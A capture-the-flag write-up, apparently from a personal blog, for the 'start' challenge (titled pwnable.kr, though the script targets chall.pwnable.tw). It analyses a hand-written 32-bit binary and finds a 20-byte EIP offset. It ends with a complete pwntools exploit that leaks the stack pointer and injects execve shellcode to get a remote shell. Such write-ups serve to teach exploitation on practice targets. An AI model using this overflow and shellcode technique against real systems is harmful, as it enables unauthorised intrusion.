kaki-epithesi@home:~$

START Pwnable.kr challenge writeup

Lets look at the file.

root@kali:~/rev/pwanable/start# file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

lets run the binary

root@kali:~/rev/pwanable/start# ./start
Let's start the CTF:ok
root@kali:~/rev/pwanable/start#

let’s analyse the binary with gdb

root@kali:~/rev/pwanable/start# gdb -q ./start
Reading symbols from ./start...
(No debugging symbols found in ./start)
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x08048060  _start
0x0804809d  _exit
0x080490a3  __bss_start
0x080490a3  _edata
0x080490a4  _end
gdb-peda$

clearly its a hand written asm code

gdb-peda$ disas _start
Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
   0x0804809c <+60>:    ret    
End of assembler dump.
gdb-peda$ 

clearly it is having 2 syscalls a write and a read

WRITE SYSCALL

If u see the man page of write ($ man 2 write)

ssize_t write(int fd, const void *buf, size_t count)

As the sequence of registers eax,ebx,ecx,edx.

->eax will have the value of syscall number.

->ebx will have the file descriptor(think its used 1)

->ecx will have the pointer to the buffer

->edx will have the size of the buffer

Now look below ecx is given some value from the stack

dl is the 1st 8 byte of edx register which is moved to a value of 0x14 or 20

bl is the 1st 8 byte of ebx register which is having a value of 0x1

al is the 1st 8 byte of eax register which is set to 0x4 (write syscall number)

   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4

READ SYSCALL

Read the man page. ($ man 2 read)

ssize_t read(int fd, void *buf, size_t count);

->eax will have the value of syscall number.

->ebx will have the file descriptor. (think its used 0)

->ecx will have the pointer to the buffer.

->edx will have the size of the buffer.

ebx is xored with ebx so it has a value 0.

dl is having the size of buffer to be read i.e 0x3c or 60.

al is having the read syscall number , 0x3.

   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80

FILE DESCRIPTOR

why for read fd = 0 and for write fd = 1.

Read from stdin => read from fd 0 : Whenever we write any character from keyboard, it read from stdin through fd 0 and save to file named /dev/tty.

Write to stdout => write to fd 1 : Whenever we see any output to the video screen, it’s from the file named /dev/tty and written to stdout in screen through fd 1.

Write to stderr => write to fd 2 : We see any error to the video screen, it is also from that file write to stderr in screen through fd 2.

let us check the offset of eip.

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 > /root/rev/pwanable/start/a.txt
root@kali:~#cat rev/pwanable/start/a.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
gdb-peda$ r < a.txt
.
.
.
gdb-peda$ info reg
eax            0x3c                0x3c
ecx            0xffffd314          0xffffd314
edx            0x3c                0x3c
ebx            0x0                 0x0
esp            0xffffd32c          0xffffd32c
ebp            0x0                 0x0
esi            0x0                 0x0
edi            0x0                 0x0
eip            0x37614136          0x37614136
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                0x23
ss             0x2b                0x2b
ds             0x2b                0x2b
es             0x2b                0x2b
fs             0x0                 0x0
gs             0x0                 0x0
gdb-peda$ 

eip got a value 0f 0x37614136

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 0x37614136
[*] Exact match at offset 20
root@kali:~# 

so we can see the offset of eip is 20 , and it has only 1 ret , so it is not exploitable using ROP.

lets look at the checksec of the binary.

root@kali:~/rev/pwanable/start# pwn checksec ./start
[*] '/root/rev/pwanable/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

As the NX bit is disabled we can use shellcode.

more about NX bit

First we need to find the stack address so we can point eip to it.

as mov ecx,esp; is already there, its helped us a lot.

So if we enhance write syscall again it will read stack pointer address.

so our 1st payload will be

b'A'* 20 + p32(0x08048087)

0x08048087 <+39>: mov ecx,esp

it will give us the stack pointer address. we will trigger a read syscall adding a shellcode to it , just simply use execve.

shellcode = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'xor edx, edx',
    'xor ecx, ecx',
    'mov ebx, esp',
    'mov eax, 0xb',
    'int 0x80',
]))

lets sum it up with a python code.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import remote,p32,u32,asm

def _esp(r):
	address_1 = p32(0x08048087)     
	payload = b'A'*20 + address_1	# ROP GADGET
	r.recvuntil('CTF:')
	r.send(payload)
	esp = u32(r.recv()[:4])
	return esp

shellcode = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'xor edx, edx',
    'xor ecx, ecx',
    'mov ebx, esp',
    'mov eax, 0xb',
    'int 0x80',
]))

r = remote('chall.pwnable.tw', 10000)
esp = _esp(r)
payload = b'A'*20  + p32(esp + 20) + shellcode 
r.send(payload)
r.interactive()
root@kali:~/rev/pwanable/start# ./start.py 
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[*] Switching to interactive mode
$ whoami
start
$ cd home/start
$ ls
flag
run.sh
start